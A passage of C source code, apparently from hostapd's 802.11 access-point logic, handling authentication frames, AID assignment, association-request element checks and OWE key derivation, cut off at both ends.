WLAN_AUTH_FILS_SK_PFS) || #endif /* CONFIG_FILS */ ((hapd->conf->auth_algs & WPA_AUTH_ALG_SHARED) && auth_alg == WLAN_AUTH_SHARED_KEY))) { wpa_printf(MSG_INFO, "Unsupported authentication algorithm (%d)", auth_alg); resp = WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; goto fail; } if (!(auth_transaction == 1 || auth_alg == WLAN_AUTH_SAE || (auth_alg == WLAN_AUTH_SHARED_KEY && auth_transaction == 3))) { wpa_printf(MSG_INFO, "Unknown authentication transaction number (%d)", auth_transaction); resp = WLAN_STATUS_UNKNOWN_AUTH_TRANSACTION; goto fail; } if (os_memcmp(mgmt->sa, hapd->own_addr, ETH_ALEN) == 0) { wpa_printf(MSG_INFO, "Station " MACSTR " not allowed to authenticate", MAC2STR(mgmt->sa)); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (hapd->conf->no_auth_if_seen_on) { struct hostapd_data *other; other = sta_track_seen_on(hapd->iface, mgmt->sa, hapd->conf->no_auth_if_seen_on); if (other) { u8 *pos; u32 info; u8 op_class, channel, phytype; wpa_printf(MSG_DEBUG, "%s: Reject authentication from " MACSTR " since STA has been seen on %s", hapd->conf->iface, MAC2STR(mgmt->sa), hapd->conf->no_auth_if_seen_on); resp = WLAN_STATUS_REJECTED_WITH_SUGGESTED_BSS_TRANSITION; pos = &resp_ies[0]; *pos++ = WLAN_EID_NEIGHBOR_REPORT; *pos++ = 13; os_memcpy(pos, other->own_addr, ETH_ALEN); pos += ETH_ALEN; info = 0; /* TODO: BSSID Information */ WPA_PUT_LE32(pos, info); pos += 4; if (other->iconf->hw_mode == HOSTAPD_MODE_IEEE80211AD) phytype = 8; /* dmg */ else if (other->iconf->ieee80211ac) phytype = 9; /* vht */ else if (other->iconf->ieee80211n) phytype = 7; /* ht */ else if (other->iconf->hw_mode == HOSTAPD_MODE_IEEE80211A) phytype = 4; /* ofdm */ else if (other->iconf->hw_mode == HOSTAPD_MODE_IEEE80211G) phytype = 6; /* erp */ else phytype = 5; /* hrdsss */ if (ieee80211_freq_to_channel_ext( hostapd_hw_get_freq(other, other->iconf->channel), other->iconf->secondary_channel, other->iconf->ieee80211ac, &op_class, &channel) == NUM_HOSTAPD_MODES) { op_class = 0; channel = other->iconf->channel; } *pos++ = op_class; *pos++ = channel; *pos++ = phytype; resp_ies_len = pos - &resp_ies[0]; goto fail; } } res = ieee802_11_allowed_address( hapd, mgmt->sa, (const u8 *) mgmt, len, &session_timeout, &acct_interim_interval, &vlan_id, &psk, &identity, &radius_cui, 0); if (res == HOSTAPD_ACL_REJECT) { wpa_msg(hapd->msg_ctx, MSG_DEBUG, "Ignore Authentication frame from " MACSTR " due to ACL reject", MAC2STR(mgmt->sa)); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } if (res == HOSTAPD_ACL_PENDING) return; sta = ap_get_sta(hapd, mgmt->sa); if (sta) { sta->flags &= ~WLAN_STA_PENDING_FILS_ERP; if ((fc & WLAN_FC_RETRY) && sta->last_seq_ctrl != WLAN_INVALID_MGMT_SEQ && sta->last_seq_ctrl == seq_ctrl && sta->last_subtype == WLAN_FC_STYPE_AUTH) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Drop repeated authentication frame seq_ctrl=0x%x", seq_ctrl); return; } #ifdef CONFIG_MESH if ((hapd->conf->mesh & MESH_ENABLED) && sta->plink_state == PLINK_BLOCKED) { wpa_printf(MSG_DEBUG, "Mesh peer " MACSTR " is blocked - drop Authentication frame", MAC2STR(mgmt->sa)); return; } #endif /* CONFIG_MESH */ } else { #ifdef CONFIG_MESH if (hapd->conf->mesh & MESH_ENABLED) { /* if the mesh peer is not available, we don't do auth. */ wpa_printf(MSG_DEBUG, "Mesh peer " MACSTR " not yet known - drop Authentication frame", MAC2STR(mgmt->sa)); /* * Save a copy of the frame so that it can be processed * if a new peer entry is added shortly after this. */ wpabuf_free(hapd->mesh_pending_auth); hapd->mesh_pending_auth = wpabuf_alloc_copy(mgmt, len); os_get_reltime(&hapd->mesh_pending_auth_time); return; } #endif /* CONFIG_MESH */ sta = ap_sta_add(hapd, mgmt->sa); if (!sta) { wpa_printf(MSG_DEBUG, "ap_sta_add() failed"); resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } } sta->last_seq_ctrl = seq_ctrl; sta->last_subtype = WLAN_FC_STYPE_AUTH; res = ieee802_11_set_radius_info( hapd, sta, res, session_timeout, acct_interim_interval, &vlan_id, &psk, &identity, &radius_cui); if (res) { wpa_printf(MSG_DEBUG, "ieee802_11_set_radius_info() failed"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } sta->flags &= ~WLAN_STA_PREAUTH; ieee802_1x_notify_pre_auth(sta->eapol_sm, 0); /* * If the driver supports full AP client state, add a station to the * driver before sending authentication reply to make sure the driver * has resources, and not to go through the entire authentication and * association handshake, and fail it at the end. * * If this is not the first transaction, in a multi-step authentication * algorithm, the station already exists in the driver * (sta->added_unassoc = 1) so skip it. * * In mesh mode, the station was already added to the driver when the * NEW_PEER_CANDIDATE event is received. * * If PMF was negotiated for the existing association, skip this to * avoid dropping the STA entry and the associated keys. This is needed * to allow the original connection work until the attempt can complete * (re)association, so that unprotected Authentication frame cannot be * used to bypass PMF protection. */ if (FULL_AP_CLIENT_STATE_SUPP(hapd->iface->drv_flags) && (!(sta->flags & WLAN_STA_MFP) || !ap_sta_is_authorized(sta)) && !(hapd->conf->mesh & MESH_ENABLED) && !(sta->added_unassoc)) { /* * If a station that is already associated to the AP, is trying * to authenticate again, remove the STA entry, in order to make * sure the STA PS state gets cleared and configuration gets * updated. To handle this, station's added_unassoc flag is * cleared once the station has completed association. */ hostapd_drv_sta_remove(hapd, sta->addr); sta->flags &= ~(WLAN_STA_ASSOC | WLAN_STA_AUTH | WLAN_STA_AUTHORIZED); if (hostapd_sta_add(hapd, sta->addr, 0, 0, NULL, 0, 0, NULL, NULL, sta->flags, 0, 0, 0, 0)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_NOTICE, "Could not add STA to kernel driver"); resp = WLAN_STATUS_AP_UNABLE_TO_HANDLE_NEW_STA; goto fail; } sta->added_unassoc = 1; } switch (auth_alg) { case WLAN_AUTH_OPEN: hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "authentication OK (open system)"); sta->flags |= WLAN_STA_AUTH; wpa_auth_sm_event(sta->wpa_sm, WPA_AUTH); sta->auth_alg = WLAN_AUTH_OPEN; mlme_authenticate_indication(hapd, sta); break; #ifndef CONFIG_NO_RC4 case WLAN_AUTH_SHARED_KEY: resp = auth_shared_key(hapd, sta, auth_transaction, challenge, fc & WLAN_FC_ISWEP); if (resp != 0) wpa_printf(MSG_DEBUG, "auth_shared_key() failed: status=%d", resp); sta->auth_alg = WLAN_AUTH_SHARED_KEY; mlme_authenticate_indication(hapd, sta); if (sta->challenge && auth_transaction == 1) { resp_ies[0] = WLAN_EID_CHALLENGE; resp_ies[1] = WLAN_AUTH_CHALLENGE_LEN; os_memcpy(resp_ies + 2, sta->challenge, WLAN_AUTH_CHALLENGE_LEN); resp_ies_len = 2 + WLAN_AUTH_CHALLENGE_LEN; } break; #endif /* CONFIG_NO_RC4 */ #ifdef CONFIG_IEEE80211R_AP case WLAN_AUTH_FT: sta->auth_alg = WLAN_AUTH_FT; if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { wpa_printf(MSG_DEBUG, "FT: Failed to initialize WPA " "state machine"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } wpa_ft_process_auth(sta->wpa_sm, mgmt->bssid, auth_transaction, mgmt->u.auth.variable, len - IEEE80211_HDRLEN - sizeof(mgmt->u.auth), handle_auth_ft_finish, hapd); /* handle_auth_ft_finish() callback will complete auth. */ return; #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_SAE case WLAN_AUTH_SAE: #ifdef CONFIG_MESH if (status_code == WLAN_STATUS_SUCCESS && hapd->conf->mesh & MESH_ENABLED) { if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { wpa_printf(MSG_DEBUG, "SAE: Failed to initialize WPA state machine"); resp = WLAN_STATUS_UNSPECIFIED_FAILURE; goto fail; } } #endif /* CONFIG_MESH */ handle_auth_sae(hapd, sta, mgmt, len, auth_transaction, status_code); return; #endif /* CONFIG_SAE */ #ifdef CONFIG_FILS case WLAN_AUTH_FILS_SK: case WLAN_AUTH_FILS_SK_PFS: handle_auth_fils(hapd, sta, mgmt->u.auth.variable, len - IEEE80211_HDRLEN - sizeof(mgmt->u.auth), auth_alg, auth_transaction, status_code, handle_auth_fils_finish); return; #endif /* CONFIG_FILS */ } fail: os_free(identity); os_free(radius_cui); hostapd_free_psk_list(psk); reply_res = send_auth_reply(hapd, mgmt->sa, mgmt->bssid, auth_alg, auth_transaction + 1, resp, resp_ies, resp_ies_len, "handle-auth"); if (sta && sta->added_unassoc && (resp != WLAN_STATUS_SUCCESS || reply_res != WLAN_STATUS_SUCCESS)) { hostapd_drv_sta_remove(hapd, sta->addr); sta->added_unassoc = 0; } } int hostapd_get_aid(struct hostapd_data *hapd, struct sta_info *sta) { int i, j = 32, aid; /* get a unique AID */ if (sta->aid > 0) { wpa_printf(MSG_DEBUG, " old AID %d", sta->aid); return 0; } if (TEST_FAIL()) return -1; for (i = 0; i < AID_WORDS; i++) { if (hapd->sta_aid[i] == (u32) -1) continue; for (j = 0; j < 32; j++) { if (!(hapd->sta_aid[i] & BIT(j))) break; } if (j < 32) break; } if (j == 32) return -1; aid = i * 32 + j + 1; if (aid > 2007) return -1; sta->aid = aid; hapd->sta_aid[i] |= BIT(j); wpa_printf(MSG_DEBUG, " new AID %d", sta->aid); return 0; } static u16 check_ssid(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ssid_ie, size_t ssid_ie_len) { if (ssid_ie == NULL) return WLAN_STATUS_UNSPECIFIED_FAILURE; if (ssid_ie_len != hapd->conf->ssid.ssid_len || os_memcmp(ssid_ie, hapd->conf->ssid.ssid, ssid_ie_len) != 0) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station tried to associate with unknown SSID " "'%s'", wpa_ssid_txt(ssid_ie, ssid_ie_len)); return WLAN_STATUS_UNSPECIFIED_FAILURE; } return WLAN_STATUS_SUCCESS; } static u16 check_wmm(struct hostapd_data *hapd, struct sta_info *sta, const u8 *wmm_ie, size_t wmm_ie_len) { sta->flags &= ~WLAN_STA_WMM; sta->qosinfo = 0; if (wmm_ie && hapd->conf->wmm_enabled) { struct wmm_information_element *wmm; if (!hostapd_eid_wmm_valid(hapd, wmm_ie, wmm_ie_len)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_WPA, HOSTAPD_LEVEL_DEBUG, "invalid WMM element in association " "request"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->flags |= WLAN_STA_WMM; wmm = (struct wmm_information_element *) wmm_ie; sta->qosinfo = wmm->qos_info; } return WLAN_STATUS_SUCCESS; } static u16 copy_supp_rates(struct hostapd_data *hapd, struct sta_info *sta, struct ieee802_11_elems *elems) { /* Supported rates not used in IEEE 802.11ad/DMG */ if (hapd->iface->current_mode && hapd->iface->current_mode->mode == HOSTAPD_MODE_IEEE80211AD) return WLAN_STATUS_SUCCESS; if (!elems->supp_rates) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "No supported rates element in AssocReq"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (elems->supp_rates_len + elems->ext_supp_rates_len > sizeof(sta->supported_rates)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_DEBUG, "Invalid supported rates element length %d+%d", elems->supp_rates_len, elems->ext_supp_rates_len); return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->supported_rates_len = merge_byte_arrays( sta->supported_rates, sizeof(sta->supported_rates), elems->supp_rates, elems->supp_rates_len, elems->ext_supp_rates, elems->ext_supp_rates_len); return WLAN_STATUS_SUCCESS; } static u16 check_ext_capab(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ext_capab_ie, size_t ext_capab_ie_len) { #ifdef CONFIG_INTERWORKING /* check for QoS Map support */ if (ext_capab_ie_len >= 5) { if (ext_capab_ie[4] & 0x01) sta->qos_map_enabled = 1; } #endif /* CONFIG_INTERWORKING */ if (ext_capab_ie_len > 0) { sta->ecsa_supported = !!(ext_capab_ie[0] & BIT(2)); os_free(sta->ext_capability); sta->ext_capability = os_malloc(1 + ext_capab_ie_len); if (sta->ext_capability) { sta->ext_capability[0] = ext_capab_ie_len; os_memcpy(sta->ext_capability + 1, ext_capab_ie, ext_capab_ie_len); } } return WLAN_STATUS_SUCCESS; } #ifdef CONFIG_OWE static int owe_group_supported(struct hostapd_data *hapd, u16 group) { int i; int *groups = hapd->conf->owe_groups; if (group != 19 && group != 20 && group != 21) return 0; if (!groups) return 1; for (i = 0; groups[i] > 0; i++) { if (groups[i] == group) return 1; } return 0; } static u16 owe_process_assoc_req(struct hostapd_data *hapd, struct sta_info *sta, const u8 *owe_dh, u8 owe_dh_len) { struct wpabuf *secret, *pub, *hkey; int res; u8 prk[SHA512_MAC_LEN], pmkid[SHA512_MAC_LEN]; const char *info = "OWE Key Generation"; const u8 *addr[2]; size_t len[2]; u16 group; size_t hash_len, prime_len; if (wpa_auth_sta_get_pmksa(sta->wpa_sm)) { wpa_printf(MSG_DEBUG, "OWE: Using PMKSA caching"); return WLAN_STATUS_SUCCESS; } group = WPA_GET_LE16(owe_dh); if (!owe_group_supported(hapd, group)) { wpa_printf(MSG_DEBUG, "OWE: Unsupported DH group %u", group); return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; } if (group == 19) prime_len = 32; else if (group == 20) prime_len = 48; else if (group == 21) prime_len = 66; else return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; crypto_ecdh_deinit(sta->owe_ecdh); sta->owe_ecdh = crypto_ecdh_init(group); if (!sta->owe_ecdh) return WLAN_STATUS_FINITE_CYCLIC_GROUP_NOT_SUPPORTED; sta->owe_group = group; secret = crypto_ecdh_set_peerkey(sta->owe_ecdh, 0, owe_dh + 2, owe_dh_len - 2); secret = wpabuf_zeropad(secret, prime_len); if (!secret) { wpa_printf(MSG_DEBUG, "OWE: Invalid peer DH public key"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } wpa_hexdump_buf_key(MSG_DEBUG, "OWE: DH shared secret", secret); /* prk = HKDF-extract(C | A | group, z) */ pub = crypto_ecdh_get_pubkey(sta->owe_ecdh, 0); if (!pub) { wpabuf_clear_free(secret); return WLAN_STATUS_UNSPECIFIED_FAILURE; } /* PMKID = Truncate-128(Hash(C | A)) */ addr[0] = owe_dh + 2; len[0] = owe_dh_len - 2; addr[1] = wpabuf_head(pub); len[1] = wpabuf_len(pub); if (group == 19) { res = sha256_vector(2, addr, len, pmkid); hash_len = SHA256_MAC_LEN; } else if (group == 20) { res = sha384_vector(2, addr, len, pmkid); hash_len = SHA384_MAC_LEN; } else if (group == 21) { res = sha512_vector(2, addr, len, pmkid); hash_len = SHA512_MAC_LEN; } else { wpabuf_free(pub); wpabuf_clear_free(secret); return WLAN_STATUS_UNSPECIFIED_FAILURE; } pub = wpabuf_zeropad(pub, prime_len); if (res < 0 || !pub) { wpabuf_free(pub); wpabuf_clear_free(secret); return WLAN_STATUS_UNSPECIFIED_FAILURE; } hkey = wpabuf_alloc(owe_dh_len - 2 + wpabuf_len(pub) + 2); if (!hkey) { wpabuf_free(pub); wpabuf_clear_free(secret); return WLAN_STATUS_UNSPECIFIED_FAILURE; } wpabuf_put_data(hkey, owe_dh + 2, owe_dh_len - 2); /* C */ wpabuf_put_buf(hkey, pub); /* A */ wpabuf_free(pub); wpabuf_put_le16(hkey, group); /* group */ if (group == 19) res = hmac_sha256(wpabuf_head(hkey), wpabuf_len(hkey), wpabuf_head(secret), wpabuf_len(secret), prk); else if (group == 20) res = hmac_sha384(wpabuf_head(hkey), wpabuf_len(hkey), wpabuf_head(secret), wpabuf_len(secret), prk); else if (group == 21) res = hmac_sha512(wpabuf_head(hkey), wpabuf_len(hkey), wpabuf_head(secret), wpabuf_len(secret), prk); wpabuf_clear_free(hkey); wpabuf_clear_free(secret); if (res < 0) return WLAN_STATUS_UNSPECIFIED_FAILURE; wpa_hexdump_key(MSG_DEBUG, "OWE: prk", prk, hash_len); /* PMK = HKDF-expand(prk, "OWE Key Generation", n) */ os_free(sta->owe_pmk); sta->owe_pmk = os_malloc(hash_len); if (!sta->owe_pmk) { os_memset(prk, 0, SHA512_MAC_LEN); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (group == 19) res = hmac_sha256_kdf(prk, hash_len, NULL, (const u8 *) info, os_strlen(info), sta->owe_pmk, hash_len); else if (group == 20) res = hmac_sha384_kdf(prk, hash_len, NULL, (const u8 *) info, os_strlen(info), sta->owe_pmk, hash_len); else if (group == 21) res = hmac_sha512_kdf(prk, hash_len, NULL, (const u8 *) info, os_strlen(info), sta->owe_pmk, hash_len); os_memset(prk, 0, SHA512_MAC_LEN); if (res < 0) { os_free(sta->owe_pmk); sta->owe_pmk = NULL; return WLAN_STATUS_UNSPECIFIED_FAILURE; } sta->owe_pmk_len = hash_len; wpa_hexdump_key(MSG_DEBUG, "OWE: PMK", sta->owe_pmk, sta->owe_pmk_len); wpa_hexdump(MSG_DEBUG, "OWE: PMKID", pmkid, PMKID_LEN); wpa_auth_pmksa_add2(hapd->wpa_auth, sta->addr, sta->owe_pmk, sta->owe_pmk_len, pmkid, 0, WPA_KEY_MGMT_OWE); return WLAN_STATUS_SUCCESS; } #endif /* CONFIG_OWE */ static u16 check_assoc_ies(struct hostapd_data *hapd, struct sta_info *sta, const u8 *ies, size_t ies_len, int reassoc) { struct ieee802_11_elems elems; u16 resp; const u8 *wpa_ie; size_t wpa_ie_len; const u8 *p2p_dev_addr = NULL; if (ieee802_11_parse_elems(ies, ies_len, &elems, 1) == ParseFailed) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station sent an invalid " "association request"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } resp = check_ssid(hapd, sta, elems.ssid, elems.ssid_len); if (resp != WLAN_STATUS_SUCCESS) return resp; resp = check_wmm(hapd, sta, elems.wmm, elems.wmm_len); if (resp != WLAN_STATUS_SUCCESS) return resp; resp = check_ext_capab(hapd, sta, elems.ext_capab, elems.ext_capab_len); if (resp != WLAN_STATUS_SUCCESS) return resp; resp = copy_supp_rates(hapd, sta, &elems); if (resp != WLAN_STATUS_SUCCESS) return resp; #ifdef CONFIG_IEEE80211N resp = copy_sta_ht_capab(hapd, sta, elems.ht_capabilities); if (resp != WLAN_STATUS_SUCCESS) return resp; if (hapd->iconf->ieee80211n && hapd->iconf->require_ht && !(sta->flags & WLAN_STA_HT)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station does not support " "mandatory HT PHY - reject association"); return WLAN_STATUS_ASSOC_DENIED_NO_HT; } #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_IEEE80211AC if (hapd->iconf->ieee80211ac) { resp = copy_sta_vht_capab(hapd, sta, elems.vht_capabilities); if (resp != WLAN_STATUS_SUCCESS) return resp; resp = set_sta_vht_opmode(hapd, sta, elems.vht_opmode_notif); if (resp != WLAN_STATUS_SUCCESS) return resp; } if (hapd->iconf->ieee80211ac && hapd->iconf->require_vht && !(sta->flags & WLAN_STA_VHT)) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station does not support " "mandatory VHT PHY - reject association"); return WLAN_STATUS_ASSOC_DENIED_NO_VHT; } if (hapd->conf->vendor_vht && !elems.vht_capabilities) { resp = copy_sta_vendor_vht(hapd, sta, elems.vendor_vht, elems.vendor_vht_len); if (resp != WLAN_STATUS_SUCCESS) return resp; } #endif /* CONFIG_IEEE80211AC */ #ifdef CONFIG_P2P if (elems.p2p) { wpabuf_free(sta->p2p_ie); sta->p2p_ie = ieee802_11_vendor_ie_concat(ies, ies_len, P2P_IE_VENDOR_TYPE); if (sta->p2p_ie) p2p_dev_addr = p2p_get_go_dev_addr(sta->p2p_ie); } else { wpabuf_free(sta->p2p_ie); sta->p2p_ie = NULL; } #endif /* CONFIG_P2P */ if ((hapd->conf->wpa & WPA_PROTO_RSN) && elems.rsn_ie) { wpa_ie = elems.rsn_ie; wpa_ie_len = elems.rsn_ie_len; } else if ((hapd->conf->wpa & WPA_PROTO_WPA) && elems.wpa_ie) { wpa_ie = elems.wpa_ie; wpa_ie_len = elems.wpa_ie_len; } else { wpa_ie = NULL; wpa_ie_len = 0; } #ifdef CONFIG_WPS sta->flags &= ~(WLAN_STA_WPS | WLAN_STA_MAYBE_WPS | WLAN_STA_WPS2); if (hapd->conf->wps_state && elems.wps_ie) { wpa_printf(MSG_DEBUG, "STA included WPS IE in (Re)Association " "Request - assume WPS is used"); sta->flags |= WLAN_STA_WPS; wpabuf_free(sta->wps_ie); sta->wps_ie = ieee802_11_vendor_ie_concat(ies, ies_len, WPS_IE_VENDOR_TYPE); if (sta->wps_ie && wps_is_20(sta->wps_ie)) { wpa_printf(MSG_DEBUG, "WPS: STA supports WPS 2.0"); sta->flags |= WLAN_STA_WPS2; } wpa_ie = NULL; wpa_ie_len = 0; if (sta->wps_ie && wps_validate_assoc_req(sta->wps_ie) < 0) { wpa_printf(MSG_DEBUG, "WPS: Invalid WPS IE in " "(Re)Association Request - reject"); return WLAN_STATUS_INVALID_IE; } } else if (hapd->conf->wps_state && wpa_ie == NULL) { wpa_printf(MSG_DEBUG, "STA did not include WPA/RSN IE in " "(Re)Association Request - possible WPS use"); sta->flags |= WLAN_STA_MAYBE_WPS; } else #endif /* CONFIG_WPS */ if (hapd->conf->wpa && wpa_ie == NULL) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "No WPA/RSN IE in association request"); return WLAN_STATUS_INVALID_IE; } if (hapd->conf->wpa && wpa_ie) { int res; wpa_ie -= 2; wpa_ie_len += 2; if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, p2p_dev_addr); if (sta->wpa_sm == NULL) { wpa_printf(MSG_WARNING, "Failed to initialize WPA " "state machine"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } res = wpa_validate_wpa_ie(hapd->wpa_auth, sta->wpa_sm, wpa_ie, wpa_ie_len, elems.mdie, elems.mdie_len, elems.owe_dh, elems.owe_dh_len); resp = wpa_res_to_status_code(res); if (resp != WLAN_STATUS_SUCCESS) return resp; #ifdef CONFIG_IEEE80211W if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && sta->sa_query_count > 0) ap_check_sa_query_timeout(hapd, sta); if ((sta->flags & WLAN_STA_MFP) && !sta->sa_query_timed_out && (!reassoc || sta->auth_alg != WLAN_AUTH_FT)) { /* * STA has already been associated with MFP and SA * Query timeout has not been reached. Reject the * association attempt temporarily and start SA Query, * if one is not pending. */ if (sta->sa_query_count == 0) ap_sta_start_sa_query(hapd, sta); return WLAN_STATUS_ASSOC_REJECTED_TEMPORARILY; } if (wpa_auth_uses_mfp(sta->wpa_sm)) sta->flags |= WLAN_STA_MFP; else sta->flags &= ~WLAN_STA_MFP; #endif /* CONFIG_IEEE80211W */ #ifdef CONFIG_IEEE80211R_AP if (sta->auth_alg == WLAN_AUTH_FT) { if (!reassoc) { wpa_printf(MSG_DEBUG, "FT: " MACSTR " tried " "to use association (not " "re-association) with FT auth_alg", MAC2STR(sta->addr)); return WLAN_STATUS_UNSPECIFIED_FAILURE; } resp = wpa_ft_validate_reassoc(sta->wpa_sm, ies, ies_len); if (resp != WLAN_STATUS_SUCCESS) return resp; } #endif /* CONFIG_IEEE80211R_AP */ #ifdef CONFIG_SAE if (wpa_auth_uses_sae(sta->wpa_sm) && sta->sae && sta->sae->state == SAE_ACCEPTED) wpa_auth_add_sae_pmkid(sta->wpa_sm, sta->sae->pmkid); if (wpa_auth_uses_sae(sta->wpa_sm) && sta->auth_alg == WLAN_AUTH_OPEN) { struct rsn_pmksa_cache_entry *sa; sa = wpa_auth_sta_get_pmksa(sta->wpa_sm); if (!sa || sa->akmp != WPA_KEY_MGMT_SAE) { wpa_printf(MSG_DEBUG, "SAE: No PMKSA cache entry found for " MACSTR, MAC2STR(sta->addr)); return WLAN_STATUS_INVALID_PMKID; } wpa_printf(MSG_DEBUG, "SAE: " MACSTR " using PMKSA caching", MAC2STR(sta->addr)); } else if (wpa_auth_uses_sae(sta->wpa_sm) && sta->auth_alg != WLAN_AUTH_SAE && !(sta->auth_alg == WLAN_AUTH_FT && wpa_auth_uses_ft_sae(sta->wpa_sm))) { wpa_printf(MSG_DEBUG, "SAE: " MACSTR " tried to use " "SAE AKM after non-SAE auth_alg %u", MAC2STR(sta->addr), sta->auth_alg); return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; } #endif /* CONFIG_SAE */ #ifdef CONFIG_OWE if ((hapd->conf->wpa_key_mgmt & WPA_KEY_MGMT_OWE) && wpa_auth_sta_key_mgmt(sta->wpa_sm) == WPA_KEY_MGMT_OWE && elems.owe_dh) { resp = owe_process_assoc_req(hapd, sta, elems.owe_dh, elems.owe_dh_len); if (resp != WLAN_STATUS_SUCCESS) return resp; } #endif /* CONFIG_OWE */ #ifdef CONFIG_IEEE80211N if ((sta->flags & (WLAN_STA_HT | WLAN_STA_VHT)) && wpa_auth_get_pairwise(sta->wpa_sm) == WPA_CIPHER_TKIP) { hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Station tried to use TKIP with HT " "association"); return WLAN_STATUS_CIPHER_REJECTED_PER_POLICY; } #endif /* CONFIG_IEEE80211N */ #ifdef CONFIG_HS20 } else if (hapd->conf->osen) { if (elems.osen == NULL) { hostapd_logger( hapd, sta->addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "No HS 2.0 OSEN element in association request"); return WLAN_STATUS_INVALID_IE; } wpa_printf(MSG_DEBUG, "HS 2.0: OSEN association"); if (sta->wpa_sm == NULL) sta->wpa_sm = wpa_auth_sta_init(hapd->wpa_auth, sta->addr, NULL); if (sta->wpa_sm == NULL) { wpa_printf(MSG_WARNING, "Failed to initialize WPA " "state machine"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } if (wpa_validate_osen(hapd->wpa_auth, sta->wpa_sm, elems.osen - 2, elems.osen_len + 2) < 0) return WLAN_STATUS_INVALID_IE; #endif /* CONFIG_HS20 */ } else wpa_auth_sta_no_wpa(sta->wpa_sm); #ifdef CONFIG_P2P p2p_group_notif_assoc(hapd->p2p_group, sta->addr, ies, ies_len); #endif /* CONFIG_P2P */ #ifdef CONFIG_HS20 wpabuf_free(sta->hs20_ie); if (elems.hs20 && elems.hs20_len > 4) { sta->hs20_ie = wpabuf_alloc_copy(elems.hs20 + 4, elems.hs20_len - 4); } else sta->hs20_ie = NULL; wpabuf_free(sta->roaming_consortium); if (elems.roaming_cons_sel) sta->roaming_consortium = wpabuf_alloc_copy( elems.roaming_cons_sel + 4, elems.roaming_cons_sel_len - 4); else sta->roaming_consortium = NULL; #endif /* CONFIG_HS20 */ #ifdef CONFIG_FST wpabuf_free(sta->mb_ies); if (hapd->iface->fst) sta->mb_ies = mb_ies_by_info(&elems.mb_ies); else sta->mb_ies = NULL; #endif /* CONFIG_FST */ #ifdef CONFIG_MBO mbo_ap_check_sta_assoc(hapd, sta, &elems); if (hapd->conf->mbo_enabled && (hapd->conf->wpa & 2) && elems.mbo && sta->cell_capa && !(sta->flags & WLAN_STA_MFP) && hapd->conf->ieee80211w != NO_MGMT_FRAME_PROTECTION) { wpa_printf(MSG_INFO, "MBO: Reject WPA2 association without PMF"); return WLAN_STATUS_UNSPECIFIED_FAILURE; } #endif /* CONFIG_MBO */ ap_copy_sta_supp_op_classes(sta, elems.supp_op_classes, elems.supp_op_classes_len); if ((sta->capability & WLAN_CAPABILITY_RADIO_MEASUREMENT) && elems.rrm_enabled && elems.rrm_enabled_len >= sizeof(sta->rrm_enabled_capa)) os_memcpy(sta->rrm_enabled_capa, elems.rrm_enabled, sizeof(sta->rrm_enabled_capa)); if (elems.power_capab) { sta->min_tx_power = elems.power_capab[0]; sta->max_tx_power = elems.power_capab[1]; sta->power_capab = 1; } else { sta->power_capab = 0; } return WLAN_STATUS_SUCCESS; } static void send_deauth(struct hostapd_data *hapd, const u8 *addr, u16 reason_code) { int send_len; struct ieee80211_mgmt reply; os_memset(&reply, 0, sizeof(reply)); reply.frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, WLAN_FC_STYPE_DEAUTH); os_memcpy(reply.da, addr, ETH_ALEN); os_memcpy(reply.sa, hapd->own_addr, ETH_ALEN); os_memcpy(reply.bssid, hapd->own_addr, ETH_ALEN); send_len = IEEE80211_HDRLEN + sizeof(reply.u.deauth); reply.u.deauth.reason_code = host_to_le16(reason_code); if (hostapd_drv_send_mlme(hapd, 